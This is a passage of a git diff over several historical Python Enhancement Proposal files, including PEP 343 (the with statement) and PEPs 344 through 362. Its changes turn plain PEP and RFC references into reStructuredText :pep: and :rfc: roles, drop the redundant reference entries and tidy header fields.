Acquisition/Release Pairs. This is the +- :pep:`310`, Reliable Acquisition/Release Pairs. This is the original with-statement proposal. -- PEP 319, Python Synchronize/Asynchronize Block. Its use cases +- :pep:`319`, Python Synchronize/Asynchronize Block. Its use cases can be covered by the current PEP by providing suitable with-statement controllers: for 'synchronize' we can use the "locking" template from example 1; for 'asynchronize' we can use @@ -64,7 +65,7 @@ to overlap: important; in fact it may be better to always be explicit about the mutex being used. -PEP 340 and PEP 346 also overlapped with this PEP, but were +:pep:`340` and :pep:`346` also overlapped with this PEP, but were voluntarily withdrawn when this PEP was submitted. Some discussion of earlier incarnations of this PEP took place on @@ -73,7 +74,7 @@ the Python Wiki [3]_. Motivation and Summary ====================== -PEP 340, Anonymous Block Statements, combined many powerful ideas: +:pep:`340`, Anonymous Block Statements, combined many powerful ideas: using generators as block templates, adding exception handling and finalization to generators, and more. Besides praise it received a lot of opposition from people who didn't like the fact that it @@ -86,16 +87,16 @@ But the final blow came when I read Raymond Chen's rant about flow-control macros [1]_. Raymond argues convincingly that hiding flow control in macros makes your code inscrutable, and I find that his argument applies to Python as well as to C. I realized -that PEP 340 templates can hide all sorts of control flow; for +that :pep:`340` templates can hide all sorts of control flow; for example, its example 4 (``auto_retry()``) catches exceptions and repeats the block up to three times. -However, the with-statement of PEP 310 does **not** hide control +However, the with-statement of :pep:`310` does **not** hide control flow, in my view: while a finally-suite temporarily suspends the control flow, in the end, the control flow resumes as if the finally-suite wasn't there at all. -Remember, PEP 310 proposes roughly this syntax (the "VAR =" part is +Remember, :pep:`310` proposes roughly this syntax (the "VAR =" part is optional):: with VAR = EXPR: @@ -129,13 +130,13 @@ other exceptions; the nature of exceptions is that they can happen write bug-free code, a KeyboardInterrupt exception can still cause it to exit between any two virtual machine opcodes.) -This argument almost led me to endorse PEP 310, but I had one idea -left from the PEP 340 euphoria that I wasn't ready to drop: using +This argument almost led me to endorse :pep:`310`, but I had one idea +left from the :pep:`340` euphoria that I wasn't ready to drop: using generators as "templates" for abstractions like acquiring and releasing a lock or opening and closing a file is a powerful idea, as can be seen by looking at the examples in that PEP. -Inspired by a counter-proposal to PEP 340 by Phillip Eby I tried +Inspired by a counter-proposal to :pep:`340` by Phillip Eby I tried to create a decorator that would turn a suitable generator into an object with the necessary ``__enter__()`` and ``__exit__()`` methods. Here I ran into a snag: while it wasn't too hard for the locking @@ -155,7 +156,7 @@ and used it like this:: with f = opening(filename): ...read data from f... -The problem is that in PEP 310, the result of calling ``EXPR`` is +The problem is that in :pep:`310`, the result of calling ``EXPR`` is assigned directly to ``VAR``, and then ``VAR``'s ``__exit__()`` method is called upon exit from ``BLOCK1``. But here, ``VAR`` clearly needs to receive the opened file, and that would mean that ``__exit__()`` would @@ -172,13 +173,13 @@ returns; the wrapper instance's ``__exit__()`` method calls ``next()`` again but expects it to raise StopIteration. (Details below in the section Optional Generator Decorator.) -So now the final hurdle was that the PEP 310 syntax:: +So now the final hurdle was that the :pep:`310` syntax:: with VAR = EXPR: BLOCK1 would be deceptive, since ``VAR`` does **not** receive the value of -``EXPR``. Borrowing from PEP 340, it was an easy step to:: +``EXPR``. Borrowing from :pep:`340`, it was an easy step to:: with EXPR as VAR: BLOCK1 @@ -217,7 +218,7 @@ not make the same guarantee. This applies to Jython, IronPython, and probably to Python running on Parrot. (The details of the changes made to generators can now be found in -PEP 342 rather than in the current PEP) +:pep:`342` rather than in the current PEP) Use Cases ========= @@ -306,7 +307,7 @@ as if the body of the generator were expanded in-line at the place of the with-statement. The motivation for passing the exception details to ``__exit__()``, as -opposed to the argument-less ``__exit__()`` from PEP 310, was given by +opposed to the argument-less ``__exit__()`` from :pep:`310`, was given by the ``transactional()`` use case, example 3 below. The template in that example must commit or roll back the transaction depending on whether an exception occurred or not. Rather than just having a @@ -361,7 +362,7 @@ and 'as' are always keywords. Generator Decorator =================== -With PEP 342 accepted, it is possible to write a decorator +With :pep:`342` accepted, it is possible to write a decorator that makes it possible to use a generator that yields exactly once to control a with-statement. Here's a sketch of such a decorator:: @@ -536,7 +537,7 @@ of any major objections on python-dev). 1. What exception should ``GeneratorContextManager`` raise when the underlying generator-iterator misbehaves? The following quote is the reason behind Guido's choice of ``RuntimeError`` for both this - and for the generator ``close()`` method in PEP 342 (from [8]_): + and for the generator ``close()`` method in :pep:`342` (from [8]_): "I'd rather not introduce a new exception class just for this purpose, since it's not an exception that I want people to catch: @@ -577,7 +578,7 @@ The ongoing problems [10]_ [13]_ with explaining what it was and why it was and how it was meant to work eventually lead to Guido killing the concept outright [15]_ (and there was much rejoicing!). -The notion of using the PEP 342 generator API directly to define +The notion of using the :pep:`342` generator API directly to define the with statement was also briefly entertained [6]_, but quickly dismissed as making it too difficult to write non-generator based context managers. @@ -586,7 +587,7 @@ based context managers. Examples ======== -The generator based examples rely on PEP 342. Also, some of the +The generator based examples rely on :pep:`342`. Also, some of the examples are unnecessary in practice, as the appropriate objects, such as ``threading.RLock``, are able to be used directly in with statements. @@ -820,7 +821,7 @@ refers to an action which is to be done in the ``__exit__`` method. (Python 2.5's contextlib module contains a version of this context manager) -11. PEP 319 gives a use case for also having a ``released()`` +11. :pep:`319` gives a use case for also having a ``released()`` context to temporarily release a previously acquired lock; this can be written very similarly to the locked context manager above by swapping the ``acquire()`` and ``release()`` calls:: @@ -906,8 +907,8 @@ Acknowledgements ================ Many people contributed to the ideas and concepts in this PEP, -including all those mentioned in the acknowledgements for PEP 340 -and PEP 346. +including all those mentioned in the acknowledgements for :pep:`340` +and :pep:`346`. Additional thanks goes to (in no meaningful order): Paul Moore, Phillip J. Eby, Greg Ewing, Jason Orendorff, Michael Hudson, diff --git a/pep-0344.txt b/pep-0344.txt index 5150f60dfdd..c2c4f0efb02 100644 --- a/pep-0344.txt +++ b/pep-0344.txt @@ -14,7 +14,7 @@ Post-History: Numbering Note ============== -This PEP has been renumbered to PEP 3134. The text below is the last version +This PEP has been renumbered to :pep:`3134`. The text below is the last version submitted under the old number. @@ -70,7 +70,7 @@ original exception. Greg Ewing [4]_ and Guido van Rossum [5]_, and probably others, have previously mentioned adding a traceback attribute to ``Exception`` instances. -This is noted in PEP 3000. +This is noted in :pep:`3000`. This PEP was motivated by yet another recent Python-Dev reposting of the same ideas [6]_ [7]_. @@ -463,7 +463,7 @@ Possible Future Compatible Changes These changes are consistent with the appearance of exceptions as a single object rather than a triple at the interpreter level. -- If PEP 340 or PEP 343 is accepted, replace the three (``type``, ``value``, +- If :pep:`340` or :pep:`343` is accepted, replace the three (``type``, ``value``, ``traceback``) arguments to ``__exit__`` with a single exception argument. - Deprecate ``sys.exc_type``, ``sys.exc_value``, ``sys.exc_traceback``, and diff --git a/pep-0345.txt b/pep-0345.txt index 5f73afeda52..a28fb1aa80b 100644 --- a/pep-0345.txt +++ b/pep-0345.txt @@ -3,9 +3,10 @@ Title: Metadata for Python Software Packages 1.2 Version: $Revision$ Last-Modified: $Date$ Author: Richard Jones -Discussions-To: Distutils SIG +Discussions-To: distutils-sig@python.org Status: Final Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 28-Apr-2005 Python-Version: 2.5 @@ -20,8 +21,8 @@ It includes specifics of the field names, and their semantics and usage. This document specifies version 1.2 of the metadata format. -Version 1.0 is specified in PEP 241. -Version 1.1 is specified in PEP 314. +Version 1.0 is specified in :pep:`241`. +Version 1.1 is specified in :pep:`314`. Version 1.2 of the metadata format adds a number of optional fields designed to make third-party packaging of Python Software easier. @@ -68,7 +69,7 @@ Version ::::::: A string containing the distribution's version number. This -field must be in the format specified in PEP 440. +field must be in the format specified in :pep:`440`. Example:: @@ -127,10 +128,10 @@ field as-is. This means that authors should be conservative in the markup they use. To support empty lines and lines with indentation with respect to -the RFC 822 format, any CRLF character has to be suffixed by 7 spaces +the :rfc:`822` format, any CRLF character has to be suffixed by 7 spaces followed by a pipe ("|") char. As a result, the Description field is -encoded into a folded field that can be interpreted by RFC822 -parser [2]_. +encoded into a folded field that can be interpreted by :rfc:`822#section-3.1.1` +parser. Example:: @@ -145,7 +146,7 @@ Example:: This encoding implies that any occurrences of a CRLF followed by 7 spaces and a pipe char have to be replaced by a single CRLF when the field is unfolded -using a RFC822 reader. +using a :rfc:`822` reader. Keywords (optional) @@ -193,7 +194,7 @@ Author-email (optional) ::::::::::::::::::::::: A string containing the author's e-mail address. It can contain -a name and e-mail address in the legal forms for a RFC-822 +a name and e-mail address in the legal forms for a :rfc:`822` ``From:`` header. Example:: @@ -221,7 +222,7 @@ Maintainer-email (optional) ::::::::::::::::::::::::::: A string containing the maintainer's e-mail address. It can contain -a name and e-mail address in the legal forms for a RFC-822 +a name and e-mail address in the legal forms for a :rfc:`822` ``From:`` header. Note that this field is intended for use when a project is being @@ -255,7 +256,7 @@ Classifier (multiple use) ::::::::::::::::::::::::: Each entry is a string giving a single classification value -for the distribution. Classifiers are described in PEP 301 [3]_. +for the distribution. Classifiers are described in :pep:`301`. Examples:: @@ -371,7 +372,7 @@ parentheses. Because they refer to non-Python software releases, version numbers for this field are **not** required to conform to the format -specified in PEP 440: they should correspond to the +specified in :pep:`440`: they should correspond to the version scheme used by the external dependency. Notice that there's is no particular rule on the strings to be used. @@ -411,7 +412,7 @@ Any number of conditional operators can be specified, e.g. the string ">1.0, !=1.3.4, <2.0" is a legal version declaration. The comma (",") is equivalent to the **and** operator. -Each version number must be in the format specified in PEP 440. +Each version number must be in the format specified in :pep:`440`. When a version is provided, it always includes all versions that starts with the same value. For example, the "2.5" version of Python @@ -536,19 +537,14 @@ References ========== This document specifies version 1.2 of the metadata format. -Version 1.0 is specified in PEP 241. -Version 1.1 is specified in PEP 314. +Version 1.0 is specified in :pep:`241`. +Version 1.1 is specified in :pep:`314`. .. [1] reStructuredText markup: http://docutils.sourceforge.net/ .. _`Python Package Index`: http://pypi.python.org/pypi/ -.. [2] RFC 822 Long Header Fields: - http://www.freesoft.org/CIE/RFC/822/7.htm - -.. [3] PEP 301, Package Index and Metadata for Distutils: - http://www.python.org/dev/peps/pep-0301/ Copyright ========= diff --git a/pep-0346.txt b/pep-0346.txt index 2e0ce4f3d6e..4666ff6c91c 100644 --- a/pep-0346.txt +++ b/pep-0346.txt @@ -14,10 +14,10 @@ Post-History: Abstract ======== -This PEP is a combination of PEP 310's "Reliable Acquisition/Release -Pairs" with the "Anonymous Block Statements" of Guido's PEP 340. This -PEP aims to take the good parts of PEP 340, blend them with parts of -PEP 310 and rearrange the lot into an elegant whole. It borrows from +This PEP is a combination of :pep:`310`'s "Reliable Acquisition/Release +Pairs" with the "Anonymous Block Statements" of Guido's :pep:`340`. This +PEP aims to take the good parts of :pep:`340`, blend them with parts of +:pep:`310` and rearrange the lot into an elegant whole. It borrows from various other PEPs in order to paint a complete picture, and is intended to stand on its own. @@ -25,24 +25,24 @@ intended to stand on its own. Author's Note ============= -During the discussion of PEP 340, I maintained drafts of this PEP as +During the discussion of :pep:`340`, I maintained drafts of this PEP as PEP 3XX on my own website (since I didn't have CVS access to update a submitted PEP fast enough to track the activity on python-dev). -Since the first draft of this PEP, Guido wrote PEP 343 as a simplified -version of PEP 340. PEP 343 (at the time of writing) uses the exact +Since the first draft of this PEP, Guido wrote :pep:`343` as a simplified +version of :pep:`340`. :pep:`343` (at the time of writing) uses the exact same semantics for the new statements as this PEP, but uses a slightly different mechanism to allow generators to be used to write statement templates. However, Guido has indicated that he intends to accept a -new PEP being written by Raymond Hettinger that will integrate PEP 288 -and PEP 325, and will permit a generator decorator like the one +new PEP being written by Raymond Hettinger that will integrate :pep:`288` +and :pep:`325`, and will permit a generator decorator like the one described in this PEP to be used to write statement templates for PEP 343. The other difference was the choice of keyword ('with' versus 'do') and Guido has stated he will organise a vote on that in the -context of PEP 343. +context of :pep:`343`. Accordingly, the version of this PEP submitted for archiving on -python.org is to be WITHDRAWN immediately after submission. PEP 343 +python.org is to be WITHDRAWN immediately after submission. :pep:`343` and the combined generator enhancement PEP will cover the important ideas. @@ -58,51 +58,51 @@ a 'user defined statement', and the associated class definitions are called 'statement templates'. The above is the main point of the PEP. However, if that was all it -said, then PEP 310 would be sufficient and this PEP would be +said, then :pep:`310` would be sufficient and this PEP would be essentially redundant. Instead, this PEP recommends additional enhancements that make it natural to write these statement templates using appropriately decorated generators. A side effect of those enhancements is that it becomes important to appropriately deal with the management of resources inside generators. -This is quite similar to PEP 343, but the exceptions that occur are +This is quite similar to :pep:`343`, but the exceptions that occur are re-raised inside the generators frame, and the issue of generator finalisation needs to be addressed as a result. The template generator decorator suggested by this PEP also creates reusable -templates, rather than the single use templates of PEP 340. +templates, rather than the single use templates of :pep:`340`. -In comparison to PEP 340, this PEP eliminates the ability to suppress +In comparison to :pep:`340`, this PEP eliminates the ability to suppress exceptions, and makes the user defined statement a non-looping construct. The other main difference is the use of a decorator to turn generators into statement templates, and the incorporation of ideas for addressing iterator finalisation. If all that seems like an ambitious operation. . . well, Guido was the -one to set the bar that high when he wrote PEP 340 :) +one to set the bar that high when he wrote :pep:`340` :) Relationship with other PEPs ============================ -This PEP competes directly with PEP 310 [1]_, PEP 340 [2]_ and PEP 343 -[3]_, as those PEPs all describe alternative mechanisms for handling +This PEP competes directly with :pep:`310`, :pep:`340` and :pep:`343`, +as those PEPs all describe alternative mechanisms for handling deterministic resource management. -It does not compete with PEP 342 [4]_ which splits off PEP 340's +It does not compete with :pep:`342` which splits off :pep:`340`'s enhancements related to passing data into iterators. The associated changes to the ``for`` loop semantics would be combined with the iterator finalisation changes suggested in this PEP. User defined statements would not be affected. Neither does this PEP compete with the generator enhancements -described in PEP 288 [5]_. While this PEP proposes the ability to +described in :pep:`288`. While this PEP proposes the ability to inject exceptions into generator frames, it is an internal implementation detail, and does not require making that ability -publicly available to Python code. PEP 288 is, in part, about +publicly available to Python code. :pep:`288` is, in part, about making that implementation detail easily accessible. This PEP would, however, make the generator resource release support -described in PEP 325 [6]_ redundant - iterators which require +described in :pep:`325` redundant - iterators which require finalisation should provide an appropriate implementation of the statement template protocol. @@ -110,7 +110,7 @@ statement template protocol. User defined statements ======================= -To steal the motivating example from PEP 310, correct handling of a +To steal the motivating example from :pep:`310`, correct handling of a synchronisation lock currently looks like this:: the_lock.acquire() @@ -119,7 +119,7 @@ synchronisation lock currently looks like this:: finally: the_lock.release() -Like PEP 310, this PEP proposes that such code be able to be written +Like :pep:`310`, this PEP proposes that such code be able to be written as:: with the_lock: @@ -372,16 +372,16 @@ Accordingly, if this PEP is accepted, ``yield``, like ``return``, will supply a default value of ``None`` (i.e. ``yield`` and ``yield None`` will become equivalent statements). -This same change is being suggested in PEP 342. Obviously, it would +This same change is being suggested in :pep:`342`. Obviously, it would only need to be implemented once if both PEPs were accepted :) Template generator decorator: ``statement_template`` ---------------------------------------------------- -As with PEP 343, a new decorator is suggested that wraps a generator +As with :pep:`343`, a new decorator is suggested that wraps a generator in an object with the appropriate statement template semantics. -Unlike PEP 343, the templates suggested here are reusable, as the +Unlike :pep:`343`, the templates suggested here are reusable, as the generator is instantiated anew in each call to ``__enter__()``. Additionally, any exceptions that occur in ``BLOCK1`` are re-raised in the generator's internal frame:: @@ -756,7 +756,7 @@ Examples with tag('a', href="http://www.python.org"): print "Not a dead parrot!" -12. From PEP 343, another useful example would be an operation that +12. From :pep:`343`, another useful example would be an operation that blocks signals. The use could be like this:: from signal import blocked_signals @@ -801,7 +801,7 @@ Rejected Options Having the basic construct be a looping construct ------------------------------------------------- -The major issue with this idea, as illustrated by PEP 340's +The major issue with this idea, as illustrated by :pep:`340`'s ``block`` statements, is that it causes problems with factoring ``try`` statements that are inside loops, and contain ``break`` and ``continue`` statements (as these statements would then apply to the @@ -823,7 +823,7 @@ construct. With the current PEP, there is no such problem - ``for`` loops continue to be used for iteration, and the new ``do`` statements are used to factor out exception handling. -Another issue, specifically with PEP 340's anonymous block statements, +Another issue, specifically with :pep:`340`'s anonymous block statements, is that they make it quite difficult to write statement templates directly (i.e. not using a generator). This problem is addressed by the current proposal, as can be seen by the relative simplicity of the @@ -837,7 +837,7 @@ Allowing statement templates to suppress exceptions Earlier versions of this PEP gave statement templates the ability to suppress exceptions. The BDFL expressed concern over the associated complexity, and I agreed after reading an article by Raymond Chen -about the evils of hiding flow control inside macros in C code [7]_. +about the evils of hiding flow control inside macros in C code [1]_. Removing the suppression ability eliminated a whole lot of complexity from both the explanation and implementation of user defined @@ -880,7 +880,7 @@ Differentiating between non-exceptional exits Earlier versions of this PEP allowed statement templates to distinguish between exiting the block normally, and exiting via a ``return``, ``break`` or ``continue`` statement. The BDFL flirted -with a similar idea in PEP 343 and its associated discussion. This +with a similar idea in :pep:`343` and its associated discussion. This added significant complexity to the description of the semantics, and it required each and every statement template to decide whether or not those statements should be treated like exceptions, or like a normal @@ -899,7 +899,7 @@ template is concerned. Not injecting raised exceptions into generators ----------------------------------------------- -PEP 343 suggests simply invoking next() unconditionally on generators +:pep:`343` suggests simply invoking next() unconditionally on generators used to define statement templates. This means the template generators end up looking rather unintuitive, and the retention of the ban against yielding inside ``try``/``finally`` means that Python's @@ -937,17 +937,17 @@ generator objects to be used to implement generator finalisation. Using ``do`` as the keyword --------------------------- -``do`` was an alternative keyword proposed during the PEP 340 +``do`` was an alternative keyword proposed during the :pep:`340` discussion. It reads well with appropriately named functions, but it reads poorly when used with methods, or with objects that provide native statement template support. -When ``do`` was first suggested, the BDFL had rejected PEP 310's +When ``do`` was first suggested, the BDFL had rejected :pep:`310`'s ``with`` keyword, based on a desire to use it for a Pascal/Delphi style ``with`` statement. Since then, the BDFL has retracted this objection, as he no longer intends to provide such a statement. This change of heart was apparently based on the C# developers reasons for -not providing the feature [8]_. +not providing the feature [2]_. Not having a keyword @@ -1251,9 +1251,9 @@ addition to the iterator protocol backwards compatible. Acknowledgements ================ -The acknowledgements section for PEP 340 applies, since this text grew +The acknowledgements section for :pep:`340` applies, since this text grew out of the discussion of that PEP, but additional thanks go to Michael -Hudson, Paul Moore and Guido van Rossum for writing PEP 310 and PEP +Hudson, Paul Moore and Guido van Rossum for writing :pep:`310` and PEP 340 in the first place, and to (in no meaningful order) Fredrik Lundh, Phillip J. Eby, Steven Bethard, Josiah Carlson, Greg Ewing, Tim Delaney and Arnold deVos for prompting particular ideas that made @@ -1263,28 +1263,10 @@ their way into this text. References ========== -.. [1] Reliable Acquisition/Release Pairs - (http://www.python.org/dev/peps/pep-0310/) - -.. [2] Anonymous block statements - (http://www.python.org/dev/peps/pep-0340/) - -.. [3] Anonymous blocks, redux - (http://www.python.org/dev/peps/pep-0343/) - -.. [4] Enhanced Iterators - (http://www.python.org/dev/peps/pep-0342/) - -.. [5] Generator Attributes and Exceptions - (http://www.python.org/dev/peps/pep-0288/) - -.. [6] Resource-Release Support for Generators - (http://www.python.org/dev/peps/pep-0325/) - -.. [7] A rant against flow control macros +.. [1] A rant against flow control macros (http://blogs.msdn.com/oldnewthing/archive/2005/01/06/347666.aspx) -.. [8] Why doesn't C# have a 'with' statement? +.. [2] Why doesn't C# have a 'with' statement? (http://msdn.microsoft.com/vcsharp/programming/language/ask/withstatement/) diff --git a/pep-0347.txt b/pep-0347.txt index 59099edc1d3..8445bd2c547 100644 --- a/pep-0347.txt +++ b/pep-0347.txt @@ -3,7 +3,7 @@ Title: Migrating the Python CVS to Subversion Version: $Revision$ Last-Modified: $Date$ Author: Martin von Löwis -Discussions-To: +Discussions-To: python-dev@python.org Status: Final Type: Process Content-Type: text/x-rst diff --git a/pep-0348.txt b/pep-0348.txt index 866710d05fa..d722290471b 100644 --- a/pep-0348.txt +++ b/pep-0348.txt @@ -55,7 +55,7 @@ simplify catching them in ``except`` clauses. To allow people to be able to rely on this hierarchy, a common superclass that all raise objects must inherit from is being proposed. It also allows guarantees about the interface to raised objects to be made (see -PEP 344 [#PEP344]_). A discussion about all of this has occurred +:pep:`344`). A discussion about all of this has occurred before on python-dev [#Summary2004-08-01]_. As bare ``except`` clauses stand now, they catch *all* exceptions. @@ -118,7 +118,7 @@ New Hierarchy +-- BaseException (new; broader inheritance for subclasses) +-- Exception - +-- GeneratorExit (defined in PEP 342 [#PEP342]_) + +-- GeneratorExit (defined in :pep:`342`) +-- StandardError +-- ArithmeticError +-- DivideByZeroError @@ -221,7 +221,7 @@ Required Superclass for ``raise`` By requiring all objects passed to a ``raise`` statement to inherit from a specific superclass, all exceptions are guaranteed to have -certain attributes. If PEP 344 [#PEP344]_ is accepted, the attributes +certain attributes. If :pep:`344` is accepted, the attributes outlined there will be guaranteed to be on all exceptions raised. This should help facilitate debugging by making the querying of information from exceptions much easier. @@ -256,7 +256,7 @@ semantics are what most people want for bare ``except`` clauses. The complete removal of bare ``except`` clauses has been argued for. The case has been made that they violate both Only One Way To Do It (OOWTDI) and Explicit Is Better Than Implicit (EIBTI) as listed in the -Zen of Python [#zen]_. But Practicality Beats Purity (PBP), also in +:pep:`Zen of Python <20>`. But Practicality Beats Purity (PBP), also in the Zen of Python, trumps both of these in this case. The BDFL has stated that bare ``except`` clauses will work this way [#python-dev8]_. @@ -294,7 +294,7 @@ reflect several programming guidelines: the inheritance from RuntimeError The documentation for the 'exceptions' module [#exceptions-stdlib]_, -tutorial [#tutorial]_, and PEP 290 [#PEP290]_ will all require +tutorial [#tutorial]_, and :pep:`290` will all require updating. @@ -446,15 +446,6 @@ discussion. References ========== -.. [#PEP342] PEP 342 (Coroutines via Enhanced Generators) - http://www.python.org/dev/peps/pep-0342/ - -.. [#PEP344] PEP 344 (Exception Chaining and Embedded Tracebacks) - http://www.python.org/dev/peps/pep-0344/ - -.. [#PEP290] PEP 290 (Code Migration and Modernization) - http://www.python.org/dev/peps/pep-0290/ - .. [#Summary2004-08-01] python-dev Summary (An exception is an exception, unless it doesn't inherit from Exception) http://www.python.org/dev/summary/2004-08-01_2004-08-15.html#an-exception-is-an-exception-unless-it-doesn-t-inherit-from-exception @@ -504,9 +495,6 @@ References .. [#python-dev8] python-dev email (PEP 348 (exception reorg) revised again) https://mail.python.org/pipermail/python-dev/2005-August/055423.html -.. [#zen] PEP 20 (The Zen of Python) - http://www.python.org/dev/peps/pep-0020/ - .. [#tutorial] Python Tutorial http://docs.python.org/tutorial/ diff --git a/pep-0351.txt b/pep-0351.txt index 0178a78860d..5923d1b0522 100644 --- a/pep-0351.txt +++ b/pep-0351.txt @@ -41,7 +41,7 @@ and immutable counterparts, and it would be useful to have a standard protocol for conversion of such objects. sets.Set objects expose a "protocol for automatic conversion to -immutable" so that you can create sets.Sets of sets.Sets. PEP 218 +immutable" so that you can create sets.Sets of sets.Sets. :pep:`218` deliberately dropped this feature from built-in sets. This PEP advances that the feature is still useful and proposes a standard mechanism for its support. diff --git a/pep-0352.txt b/pep-0352.txt index 3065a21cd8c..1bb21d10956 100644 --- a/pep-0352.txt +++ b/pep-0352.txt @@ -45,7 +45,7 @@ from the common superclass instead of Exception will make it easy for people to write ``except`` clauses that are not overreaching and not catch exceptions that should propagate up. -This PEP is based on previous work done for PEP 348 [#pep348]_. +This PEP is based on previous work done for :pep:`348`. Requiring a Common Superclass @@ -272,9 +272,6 @@ original deprecation of ``args`` has been retracted. References ========== -.. [#pep348] PEP 348 (Exception Reorganization for Python 3.0) - http://www.python.org/dev/peps/pep-0348/ - .. [#hierarchy-good] python-dev Summary for 2004-08-01 through 2004-08-15 http://www.python.org/dev/summary/2004-08-01_2004-08-15.html#an-exception-is-an-exception-unless-it-doesn-t-inherit-from-exception diff --git a/pep-0354.txt b/pep-0354.txt index 5f9aab091f0..360aabdad67 100644 --- a/pep-0354.txt +++ b/pep-0354.txt @@ -22,7 +22,7 @@ modules. Also, the PEP has generated no widespread interest. For those who need enumerations, there are cookbook recipes and PyPI packages that meet these needs. -*Note: this PEP was superseded by PEP 435, which has been accepted in +*Note: this PEP was superseded by* :pep:`435`, *which has been accepted in May 2013.* Abstract diff --git a/pep-0355.txt b/pep-0355.txt index ed5cec73df5..6d1a7c5bcd2 100644 --- a/pep-0355.txt +++ b/pep-0355.txt @@ -82,7 +82,7 @@ current common practice: - Subclassability - the ``Path`` object can be extended to support paths other than filesystem paths. The programmer does not need - to learn a new API, but can reuse his or her knowledge of Path + to learn a new API, but can reuse their knowledge of Path to deal with the extended class. - With all related functionality in one place, the right approach diff --git a/pep-0356.txt b/pep-0356.txt index 1e02cecbdc4..28db5149fae 100644 --- a/pep-0356.txt +++ b/pep-0356.txt @@ -50,18 +50,18 @@ Release Schedule Completed features for 2.5 ========================== -- PEP 308: Conditional Expressions -- PEP 309: Partial Function Application -- PEP 314: Metadata for Python Software Packages v1.1 -- PEP 328: Absolute/Relative Imports -- PEP 338: Executing Modules as Scripts -- PEP 341: Unified try-except/try-finally to try-except-finally -- PEP 342: Coroutines via Enhanced Generators -- PEP 343: The "with" Statement (still need updates in Doc/ref and for the +- :pep:`308`: Conditional Expressions +- :pep:`309`: Partial Function Application +- :pep:`314`: Metadata for Python Software Packages v1.1 +- :pep:`328`: Absolute/Relative Imports +- :pep:`338`: Executing Modules as Scripts +- :pep:`341`: Unified try-except/try-finally to try-except-finally +- :pep:`342`: Coroutines via Enhanced Generators +- :pep:`343`: The "with" Statement (still need updates in Doc/ref and for the ``contextlib`` module) -- PEP 352: Required Superclass for Exceptions -- PEP 353: Using ``ssize_t`` as the index type -- PEP 357: Allowing Any Object to be Used for Slicing +- :pep:`352`: Required Superclass for Exceptions +- :pep:`353`: Using ``ssize_t`` as the index type +- :pep:`357`: Allowing Any Object to be Used for Slicing - ASCII became the default coding @@ -97,7 +97,7 @@ Other notable features: - Added support for the Unicode 4.1 UCD -- Added PEP 302 ``zipfile``/``__loader__`` support to the following modules: +- Added :pep:`302` ``zipfile``/``__loader__`` support to the following modules: ``warnings``, ``linecache``, ``inspect``, ``traceback``, ``site``, and ``doctest`` @@ -171,7 +171,7 @@ Open issues * https://bugs.python.org/issue1467929 - %-formatting and dicts * https://bugs.python.org/issue1446043 - ``unicode()`` does not raise ``LookupError`` -- The PEP 302 changes to (at least) ``pkgutil``, ``runpy`` and ``pydoc`` must +- The :pep:`302` changes to (at least) ``pkgutil``, ``runpy`` and ``pydoc`` must be documented. - ``test_zipfile64`` takes too long and too much disk space for diff --git a/pep-0358.txt b/pep-0358.txt index 01ba06acd1e..feffd98155b 100644 --- a/pep-0358.txt +++ b/pep-0358.txt @@ -14,7 +14,7 @@ Post-History: Update ====== -This PEP has partially been superseded by PEP 3137. +This PEP has partially been superseded by :pep:`3137`. Abstract @@ -190,7 +190,7 @@ Out of Scope Issues byte arrays. This decision is out of scope. * A bytes literal of the form ``b"..."`` is also proposed. This is - the subject of PEP 3112. + the subject of :pep:`3112`. Open Issues diff --git a/pep-0361.txt b/pep-0361.txt index a0ec32e13f7..6dff21cd5ba 100644 --- a/pep-0361.txt +++ b/pep-0361.txt @@ -7,7 +7,7 @@ Status: Final Type: Informational Content-Type: text/x-rst Created: 29-Jun-2006 -Python-Version: 2.6 and 3.0 +Python-Version: 2.6, 3.0 Post-History: 17-Mar-2008 @@ -89,7 +89,7 @@ Release Schedule Completed features for 3.0 ========================== -See PEP 3000 [pep3000]_ and PEP 3100 [pep3100]_ for details on the +See :pep:`3000` and :pep:`3100` for details on the Python 3.0 project. @@ -98,15 +98,15 @@ Completed features for 2.6 PEPs: -- 352: Raising a string exception now triggers a ``TypeError``. +- :pep:`352`: Raising a string exception now triggers a ``TypeError``. Attempting to catch a string exception raises ``DeprecationWarning``. - ``BaseException.message`` has been deprecated. [pep352]_ -- 358: The "bytes" Object [pep358]_ -- 366: Main module explicit relative imports [pep366]_ -- 370: Per user site-packages directory [pep370]_ -- 3112: Bytes literals in Python 3000 [pep3112]_ -- 3127: Integer Literal Support and Syntax [pep3127]_ -- 371: Addition of the multiprocessing package [pep371]_ + ``BaseException.message`` has been deprecated. +- :pep:`358`: The "bytes" Object +- :pep:`366`: Main module explicit relative imports +- :pep:`370`: Per user site-packages directory +- :pep:`3112`: Bytes literals in Python 3000 +- :pep:`3127`: Integer Literal Support and Syntax +- :pep:`371`: Addition of the multiprocessing package New modules in the standard library: @@ -145,7 +145,7 @@ Warnings for features removed in Py3k: - ``{}.has_key()`` - ``file.xreadlines`` - softspace removal for ``print()`` function -- removal of modules because of PEP 4/3100/3108 +- removal of modules because of :pep:`4`/:pep:`3100`/:pep:`3108` Other major features: @@ -273,36 +273,6 @@ References .. [1] Adding a __dir__() magic method https://mail.python.org/pipermail/python-dev/2006-July/067139.html -.. [pep352] PEP 352 (Required Superclass for Exceptions) - http://www.python.org/dev/peps/pep-0352 - -.. [pep358] PEP 358 (The "bytes" Object) - http://www.python.org/dev/peps/pep-0358 - -.. [pep366] PEP 366 (Main module explicit relative imports) - http://www.python.org/dev/peps/pep-0366 - -.. [pep367] PEP 367 (New Super) - http://www.python.org/dev/peps/pep-0367 - -.. [pep370] PEP 370 (Per user site-packages directory) - http://www.python.org/dev/peps/pep-0370 - -.. [pep371] PEP 371 (Addition of the multiprocessing package) - http://www.python.org/dev/peps/pep-0371 - -.. [pep3000] PEP 3000 (Python 3000) - http://www.python.org/dev/peps/pep-3000 - -.. [pep3100] PEP 3100 (Miscellaneous Python 3.0 Plans) - http://www.python.org/dev/peps/pep-3100 - -.. [pep3112] PEP 3112 (Bytes literals in Python 3000) - http://www.python.org/dev/peps/pep-3112 - -.. [pep3127] PEP 3127 (Integer Literal Support and Syntax) - http://www.python.org/dev/peps/pep-3127 - .. _Google calendar: http://www.google.com/calendar/ical/b6v58qvojllt0i6ql654r1vh00%40group.calendar.google.com/public/basic.ics diff --git a/pep-0362.txt b/pep-0362.txt index 9fdf9d01ace..0d001365dfc 100644 --- a/pep-0362.txt +++ b/pep-0362.txt @@ -42,12 +42,12 @@ it stores a `Parameter object`_ in its ``parameters`` collection. A Signature object has the following public attributes and methods: -* 